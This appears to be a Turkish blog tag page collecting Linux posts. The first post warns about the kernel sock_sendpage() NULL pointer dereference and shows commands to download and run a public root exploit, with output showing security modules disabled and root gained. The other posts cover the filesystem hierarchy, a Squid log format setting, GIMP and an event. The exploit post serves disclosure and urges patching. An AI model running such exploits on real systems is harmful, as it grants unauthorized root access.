Posts Tagged ‘ Linux

Linux Kernel Yamalama Zamanı ve Root Olun..

Linux kernel 2.4.X ve 2.6.X sürümlerini etkileyen sifir gun acigi yayinlandi(Linux Kernel ’sock_sendpage()’ NULL Pointer Dereference Vulnerability). Özellikle sunucularında shell hesapları veren sistem adminlerinin bu açığı gidermeleri en acilinden gerekmekte..

http://www.securityfocus.com/bid/36038/info da data detaylı bilgi bulabilirsiniz!!!

Huzeyfe Onal ın yaptığı test
Exploit kullanmadan onceki kullanici haklari.
$ id
uid=1001(huzeyfe) gid=1001(huzeyfe) groups=1001(huzeyfe)

Exploitin kullanimi

# wget http://www.grsecurity.net/~spender/exploitx.tgz
huzeyfe@guvenlis:/tmp$ cd exploitx
huzeyfe@guvenlis:/tmp/exploitx$ ls
exploit.c pwnkernel.c tzameti.avi wunderbar_emporium.sh
huzeyfe@guvenlikod:/tmp/wunderbar_emporium$ ./exploitx.sh
[+] Personality set to: PER_SVR4
E: x11wrap.c: XOpenDisplay() failed
E: module.c: Failed to load module “module-x11-publish” (argument: “”): initialization failed.
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc05b4b7c
[+] Resolved selinux_enabled to 0xc05b4b78
[+] Resolved apparmor_enabled to 0xc04798a4
[+] Resolved apparmor_complain to 0xc05b6770
[+] Resolved apparmor_audit to 0xc05b6778
[+] Resolved apparmor_logsyscall to 0xc05b677c
[+] Resolved security_ops to 0xc05b3324
[+] Resolved default_security_ops to 0xc0478640
[+] Resolved sel_read_enforce to 0xc021fa60
[+] Resolved audit_enabled to 0xc0574544
[+] got ring0!
[+] detected 2.6 style 8k stacks
[+] Disabled security of : LSM
[+] Got root!
#
# id
uid=0(root) gid=0(root) groups=1001(huzeyfe)

Compiz Cube Tutorial: Howto Ubuntu Linux

Merhabalar Aşağıda Linux Dünyasının görsellikte ne kadar ileri gittiğini gösteren çok güzel bir video ve Ubuntu üzerindeki tutorialı mevzut. İyi Seyirler

Linux Dosya Hiyeraşisi

Microsoft Windows gibi bir başka işletim sisteminden, Linux’a geçen son kullanıcıların en büyük sıkıntılarından biri, dosya sistemleri arasındaki farklardır. Windows konusunda biraz tecrübeli kime sorsanız, Program Files, Windows, System32, Documents and Settings klasörleri hakkında bilgi verebilir. Ancak Unix dünyası farklıdır ve geçiş yapan kullanıcılar, hangi klasörün ne işe yaradığını, hangisinin neyle alakalı olduğunu ilk bakışta çözemez. İşin kötü tarafı, farklı dağıtımlar için, dosya sistem hiyerarşisi değişebilir. Bu yazımızda, Linux Dokümantasyon Projesi (The Linux Documentation Project) tarafından yayımlanmış Linux Dosya Sistem Hiyerarşisini baz alarak, sizlere Linux dosya sistemi hakkında bilgi vereceğiz. Eğer daha çok bilgi almak isterseniz The Linux Documentation Project web sitesini ziyaret etmenizi tavsiye ederim.

Dosya Sistemi Nedir?

Dosya sistemi, işletim sisteminin bir disk veya bölüm (partition) üzerindeki dosyaları takip edebilmesi için oluşturulmuş yöntem ve veri yapıları bütünüdür. Dosya sistemi farklı anlamlar için de kullanılıyor. Örneğin iki diski olan bir kullanıcının “iki dosya sistemim var” dediğini duymuşsunuzdur. Buna şimdilik girmeyelim. Bizi ilgilendiren Linux’taki dosya yapısı…

Linux bir Unix klonudur. Bu yüzden “Tekil Hiyerarşik Klasör Yapısı”nı benimsemiştir. Herşey / (slash) simgesiyle ifade edilen root klasöründen başlar, aşağıya doğru iner. Windows’taki gibi C: D: şeklinde sözde sürücüler (drivers) bulunmaz. Windows ortamında, dosyalarınızı C sürücüsü, D veya E sürücüsü gibi her yere koyabilirsiniz. Bu tarz dosya sistemlerine, “Hiyerarşik Yapı“lı denmektedir.

Linux, / (root) klasöründen başlayarak, boot işlemindeki önem sırasına göre klasörleri dizer. Eğer neden Windows’taki gibi \ (ters slash) işareti yerine, / (slash) işareti kullanıldığını merak edebilirsiniz; bu Linux’un Unix geleneğini takip etmesindendir. Ayrıca bu geleneğe uygun olarak küçük büyük harf duyarlılığı önemli bir konudur. Örneğin Windows’ta KLASOR_ADI ve klasor_adi aynı şeydir; fark etmez. Ama Linux’ta iki ayrı klasörden bahsediyor oluruz. Devamını okuyun

'Özgür Yazılım ve Açık Kaynak Günleri 2009' ve 'Linux ve Özgür Yazılım Şenliği'

İstanbul Bilgi Üniversitesi, Bilgisayar Bilimleri bölümünün 2003 yılından beri düzenlediği “Özgür Yazılım ve Açık Kaynak Günleri” ile Linux Kullanıcıları Derneği’nin 2002 yılından beri düzenlediği “Linux ve Özgür Yazılım Şenliği” 17-18 Nisan 2009 tarihlerinde tek çatı altında, İstanbul Bilgi Üniversitesi ev sahipliğinde gerçekleştirilecek.

Program vs. hakkında detayları yakında her iki etkinliğin web sitelerinde duyurulacak. Etkinliğin bu yıl konuk edeceği önemli isimler arasında Douglas Crockford ve Jonathan Conradt (Google Chrome)(Yahoo!) bulunuyor. 2009 yılının en önemli buluşmalarından biri o gün dersleri asmayı göze alıp orada bulunmaya çalışacağım. Şenlik de görüşmek üzere.

Özgür Yazılım ve Açık Kaynak Günleri” web sitesi
Linux ve Özgür Yazılım Şenliği” web sitesi

Killer Tux(Linux Windows'a karşı)

Ben şahsen çok eğlendim sizinde eğleneceğinizi düşünüyorum :) :) :)
Killer Tux from Cenek Strichel on Vimeo.

Squid Access.log'da Yerel Saati görme

Merhabalar Squid kullanan arkadaşlar bilirler ki squid access.log dosyasında

1234956506.321 4110 192.168.0.10 TCP_MISS/200 29198 GET http://www.facebook.com/home.php? – DIRECT/69.63.180.15 text/html
1234956508.034 5 192.168.0.10 TCP_IMS_HIT/304 331 GET http://photos-h.ak.fbcdn.net/photos-ak-sf2p/v43/39/28768675863/app_4_28768675863_6910.gif – NONE/- image/gif
1234956508.034 9 192.168.0.10 TCP_IMS_HIT/304 331 GET http://photos-a.ak.fbcdn.net/photos-ak-sf2p/v43/176/2530096808/app_4_2530096808_1117.gif – NONE/- image/gif
1234956508.606 755 192.168.0.10 TCP_MISS/200 434 GET http://www.facebook.com/campaign/impression.php? – DIRECT/69.63.180.15 image/gif

tarzında loglar ile karşılarız. “1234956508.034″ bize o anın milisaniye cinsinden değeridir. Access.log dosyamızda bizim bildiğimiz tarzdan tarih yazmasını istiyorsak
Squid.conf dosyamıza giriyoruz ve şu satırı buluyoruz.

logformat squid %ts.%03tu %6tr %>a %Ss/%03Hs %

bu satırda “%ts.%03tu” olan yeri “%tl” ile değiştiriyoruz.. Yani yeni satırımız

logformat squid %tl %6tr %>a %Ss/%03Hs %

olacak.
Ardından “squid -k reconfigure” ile squid’e conf dosyamızı yeniden okutup çalıştırmaya başladığımızda
access.log da artık bizim bildiğimiz şekilde tarih yazdığını göreceksiniz.

Kolay Gelsin.

GIMP Tutorials

GIMP, birçok ortam ve işletim sisteminde kullanılabilen, en ünlü, açık kaynaklı, piksel tabanlı, görüntü işleme yazılımıdır, ama asıl işletim sistemi (OS) Linux’tur. GIMP, ticari seçeneği olan Adobe Photoshop gibi bir hücresel resim düzenleyicisidir. Linux’un grafik arayüzü olan X sunucusu’nu ve onun kullanıcı arayüzü olan GTK (GIMP araç takımının kısaltması)’yı kullanır. GIMP’in çok yüksek çözünürlükleri destekleyen ve hareketli görüntülere efekt uygulaması yapan CinePaint adlı bir türevi de bulunmaktadır.  Ayrıca Photoshop kullanıcılarının GIMP ile rahat edebilmesi için bir de GIMPshop vardır. Böylece GIMP, Photoshop’a benzetilmiştir.

İnternette denk geldiğim Başlangıç için iyi sayılabilicek 50 Gimp Tutorialını sizlerler paylaşıyorum Kolay gelsin. Devamını okuyun

Linux Dosya Sistemi Hakkında

Merhabalar.

Arkadaşlar Nette Surf yaparken çok hoş bilgilendirici bir şemaya rastladım hemen sizlerler paylaşayım dedim

Linux Dosya Sistemi
Kaynak: http://www.linuxconfig.org